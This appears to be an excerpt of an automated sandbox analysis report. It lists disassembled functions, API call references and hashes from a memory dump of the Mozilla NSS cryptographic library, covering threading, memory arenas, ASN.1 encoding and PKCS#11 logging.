Part of subcall function 6C80F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6C80F42D
Part of subcall function 6C80F3B0: PR_SetSocketOption.NSS3(?), ref: 6C80F455
Part of subcall function 6C80F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6C80F473

Part of subcall function 6C7C9890: TlsGetValue.KERNEL32(?,?,?,6C7C97EB), ref: 6C7C989E

EnterCriticalSection.KERNEL32(?), ref: 6C819D78
calloc.MOZGLUE(00000001,0000000C), ref: 6C819DAF
_PR_CreateThread.NSS3(00000000,6C819EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6C819D9F

Part of subcall function 6C6EB3C0: TlsGetValue.KERNEL32 ref: 6C6EB403
Part of subcall function 6C6EB3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C6EB459

_PR_CreateThread.NSS3(00000000,6C81A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6C819DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6C819DFC
_PR_CreateThread.NSS3(00000000,6C81A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6C819E29
calloc.MOZGLUE(00000001,0000000C), ref: 6C819E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6C819E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C819E89

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 282b1e2fcf4c85fb385c5cad9dea92a41498f76471863691ae359d815860194e
Instruction ID: ba5b044850280a87e7dda3fa3a53f09646c648dc99f07f85fc15ae71081e18d9
Opcode Fuzzy Hash: 282b1e2fcf4c85fb385c5cad9dea92a41498f76471863691ae359d815860194e
Instruction Fuzzy Hash: 92613DB1A00706AFD725DF75D944AA7BBE8FF49208B04493AE819C7B11EB70E414CBE5

Function 6C713FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6C714014

Part of subcall function 6C7139F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C715E6F,?), ref: 6C713A08
Part of subcall function 6C7139F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C715E6F), ref: 6C713A1C
Part of subcall function 6C7139F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C713A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6C714038

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C71404D

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C82A0F4), ref: 6C7140C2

Part of subcall function 6C75F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C75F0C8
Part of subcall function 6C75F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C75F122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6C71409A

Part of subcall function 6C75BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C70E708,00000000,00000000,00000004,00000000), ref: 6C75BE6A
Part of subcall function 6C75BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7104DC,?), ref: 6C75BE7E
Part of subcall function 6C75BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C75BEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7140DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7140F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C714108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6C71411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6C714137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6C714150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6C82A1C8), ref: 6C71417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6C714194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C7141A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C7141B2
PK11_DestroyObject.NSS3(?,?), ref: 6C7141D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7141FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C82A1A8), ref: 6C71422D

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: b34ca40d48435426e9da6aed7e460eb4e4a8de69e9177de5f86444be6e9ab48d
Instruction ID: 96e35211ea2b11838fff618d2883f95f580be0ac52fb61632a4f717b8a77ae96
Opcode Fuzzy Hash: b34ca40d48435426e9da6aed7e460eb4e4a8de69e9177de5f86444be6e9ab48d
Instruction Fuzzy Hash: 015118B1B043006BF7109A269E49BA776DCDF5039CF584528ED59C7F82FB31E514A2A2

Function 6C758E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C758E01,00000000,6C759060,6C860B64), ref: 6C758E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C758E01,00000000,6C759060,6C860B64), ref: 6C758E9E
PORT_ArenaAlloc_Util.NSS3(6C860B64,00000001,?,?,?,?,6C758E01,00000000,6C759060,6C860B64), ref: 6C758EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C758E01,00000000,6C759060,6C860B64), ref: 6C758EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C758E01,00000000,6C759060,6C860B64), ref: 6C758ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C758E01,00000000,6C759060,6C860B64), ref: 6C758EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C758E01), ref: 6C758EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C860B64,6C860B64), ref: 6C758F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C758F3F

Part of subcall function 6C75A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C75A421,00000000,00000000,6C759826), ref: 6C75A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C75904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C758E76

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 9b5ba1435fe9ae7e91b0bd9499dd81ac49aea32ea7c4b0e185c54fa07c6968fd
Instruction ID: e1d5254456f7f16cf5895706498c30e545d80b436dfe45e35d66cd15bc4f1a4c
Opcode Fuzzy Hash: 9b5ba1435fe9ae7e91b0bd9499dd81ac49aea32ea7c4b0e185c54fa07c6968fd
Instruction Fuzzy Hash: 1461A6B5D00106ABDB10CF55CE44AAFB7B5FF94358F544938DC18A7B40EB32A926CBA0

Function 6C708E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C708E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C708E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C708EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C8318D0,?), ref: 6C708F03
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C708F19
PL_FreeArenaPool.NSS3(?), ref: 6C708F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C708F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C708F65
PL_FinishArenaPool.NSS3(?), ref: 6C708FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C708FFE
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C709012
PL_FreeArenaPool.NSS3(?), ref: 6C709024
PL_FinishArenaPool.NSS3(?), ref: 6C70902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C70903E

Strings

security, xrefs: 6C708EE7

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: d02079d89e0f3fa413a002534eb55032f2470d6c7e3f9261d2cbd0ea5a4e1537
Instruction ID: 562ca26fb7c9e701977749544f1eb08b9e3a14d1a1435ab3b96460ec80cdf9d8
Opcode Fuzzy Hash: d02079d89e0f3fa413a002534eb55032f2470d6c7e3f9261d2cbd0ea5a4e1537
Instruction Fuzzy Hash: 615146F1708200ABD7109A699F49BAB77ECAB8575CF44093AF85497F80E771E908C793

Function 6C734E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C734E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C734EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C734EC7

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C734EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C734F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C734F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C734F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C734F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C734F68

Strings

pTemplate = 0x%p, xrefs: 6C734F4A
C_GetAttributeValue, xrefs: 6C734E7E
hSession = 0x%x, xrefs: 6C734EA2, 6C734EB2
ulCount = %d, xrefs: 6C734F63
hObject = 0x%x, xrefs: 6C734EF5, 6C734F05
(CK_INVALID_HANDLE), xrefs: 6C734EC0, 6C734F13

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: c4f70aaebb7dce8cefbb9cc4627ebaae56009f7a222efba603167ed621186522
Instruction ID: 8b7c2e48209d0c083958b9f24e6e5ee11d92b6ed1b85805346d2527d7845706b
Opcode Fuzzy Hash: c4f70aaebb7dce8cefbb9cc4627ebaae56009f7a222efba603167ed621186522
Instruction Fuzzy Hash: 5A410331606025AFDB218B14DF4CFAA3BB9AB4230DF086434F4095BB52C739A948DBD6

Function 6C734CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C734CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C734D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C734D37

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C734D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C734D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C734D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C734DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C734DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C734E20

Strings

pulSize = 0x%p, xrefs: 6C734DB7
C_GetObjectSize, xrefs: 6C734CEE
*pulSize = 0x%x, xrefs: 6C734E1B
hSession = 0x%x, xrefs: 6C734D12, 6C734D22
hObject = 0x%x, xrefs: 6C734D65, 6C734D75
(CK_INVALID_HANDLE), xrefs: 6C734D30, 6C734D83

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 9d879be05d3ef0bf3cb8d90ed35dcd35c686f52acc4f1493dc8451c4a78b2fd7
Instruction ID: 1b14b7ff3a4f52b0f8035fb2255722c78a017c5e0421b68d1587f5d9f63e999d
Opcode Fuzzy Hash: 9d879be05d3ef0bf3cb8d90ed35dcd35c686f52acc4f1493dc8451c4a78b2fd7
Instruction Fuzzy Hash: 8D412471605124AFD7218B14DF8DF7A3BB9AB4230DF046874E50D5BB12D739A848DBD2

Function 6C737C90 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6C737CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C737CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C737CF3

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C737D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C737D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C737D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C737D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C737D77

Strings

ulDataLen = %d, xrefs: 6C737D40
pData = 0x%p, xrefs: 6C737D25
pSignature = 0x%p, xrefs: 6C737D59
C_Verify, xrefs: 6C737CB1
hSession = 0x%x, xrefs: 6C737CCE, 6C737CDE
(CK_INVALID_HANDLE), xrefs: 6C737CEC
ulSignatureLen = %d, xrefs: 6C737D72

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify
API String ID: 1003633598-3278097884
Opcode ID: f89657dcc61dd16acf59abde3e05d3cc04d198655904f43b027bd09d5d738821
Instruction ID: 2a376e4abddbf549571a27d1fe7f2f61e4194feec7547da5ed4ac5db6613d96a
Opcode Fuzzy Hash: f89657dcc61dd16acf59abde3e05d3cc04d198655904f43b027bd09d5d738821
Instruction Fuzzy Hash: E331DF31602155EBDB218F25DF4DE7A37F5AB4220CF086474E40D5BB12DB38A848CBE2

Function 6C732F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C732F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C732F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C732F63

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C732F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C732F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C732FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C732FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C732FE7

Strings

ulOldLen = %d, xrefs: 6C732FB0
C_SetPIN, xrefs: 6C732F21
pNewPin = 0x%p, xrefs: 6C732FC9
hSession = 0x%x, xrefs: 6C732F3E, 6C732F4E
(CK_INVALID_HANDLE), xrefs: 6C732F5C
ulNewLen = %d, xrefs: 6C732FE2
pOldPin = 0x%p, xrefs: 6C732F95

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: 5c3fbdb233c94a5af064ca01f116b974a71e8fe9e4308542273215097e78d4ac
Instruction ID: 3d9fde8af60f6fef0027ea6b4a1b179a96ab9337a8fab14be9c2af41998cd2fd
Opcode Fuzzy Hash: 5c3fbdb233c94a5af064ca01f116b974a71e8fe9e4308542273215097e78d4ac
Instruction Fuzzy Hash: 3A31F431605165ABDB219B55CF4CE6A37B6AB4634DF046474F80CABB13DB38A848CBD1

Function 6C7CCD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C7CCC7B), ref: 6C7CCD7A

Part of subcall function 6C7CCE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C73C1A8,?), ref: 6C7CCE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C7CCDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C7CCDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C7CCDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C7CCD8E

Part of subcall function 6C6F05C0: PR_EnterMonitor.NSS3 ref: 6C6F05D1
Part of subcall function 6C6F05C0: PR_ExitMonitor.NSS3 ref: 6C6F05EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C7CCDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C7CCDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C7CCE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C7CCE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C7CCE48

Strings

getnameinfo, xrefs: 6C7CCDB2, 6C7CCE23
ws2_32.dll, xrefs: 6C7CCD75
wship6.dll, xrefs: 6C7CCDE3
freeaddrinfo, xrefs: 6C7CCD9F, 6C7CCE10
getaddrinfo, xrefs: 6C7CCD88, 6C7CCDF9

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 8265056cad68ff0583820c511447759d02fbedc505f1b4fd24083e850732d0ff
Instruction ID: 67c34fa81f452e711d4843c846a8c45f4f4704388ec8f4d924e4d10f1b8255f4
Opcode Fuzzy Hash: 8265056cad68ff0583820c511447759d02fbedc505f1b4fd24083e850732d0ff
Instruction Fuzzy Hash: 5111DDD5F025321ADB1165B63E055BA38595B0334EF147935DC19D5F02FB10C50AC6FB

Function 6C811C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6C8113BC,?,?,?,6C811193), ref: 6C811C6B
PR_NewLock.NSS3(?,6C811193), ref: 6C811C7E

Part of subcall function 6C7C98D0: calloc.MOZGLUE(00000001,00000084,6C6F0936,00000001,?,6C6F102C), ref: 6C7C98E5

PR_NewCondVar.NSS3(00000000,?,6C811193), ref: 6C811C91

Part of subcall function 6C6EBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6F21BC), ref: 6C6EBB8C

PR_NewCondVar.NSS3(00000000,?,?,6C811193), ref: 6C811CA7

Part of subcall function 6C6EBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6EBBEB
Part of subcall function 6C6EBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C6EBBFB
Part of subcall function 6C6EBB80: GetLastError.KERNEL32 ref: 6C6EBC03
Part of subcall function 6C6EBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C6EBC19
Part of subcall function 6C6EBB80: free.MOZGLUE(00000000), ref: 6C6EBC22

PR_NewCondVar.NSS3(00000000,?,?,?,6C811193), ref: 6C811CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6C811193), ref: 6C811CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6C811193), ref: 6C811CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6C811193), ref: 6C811D1A

Part of subcall function 6C7C9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C6F1A48), ref: 6C7C9BB3
Part of subcall function 6C7C9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C6F1A48), ref: 6C7C9BC8

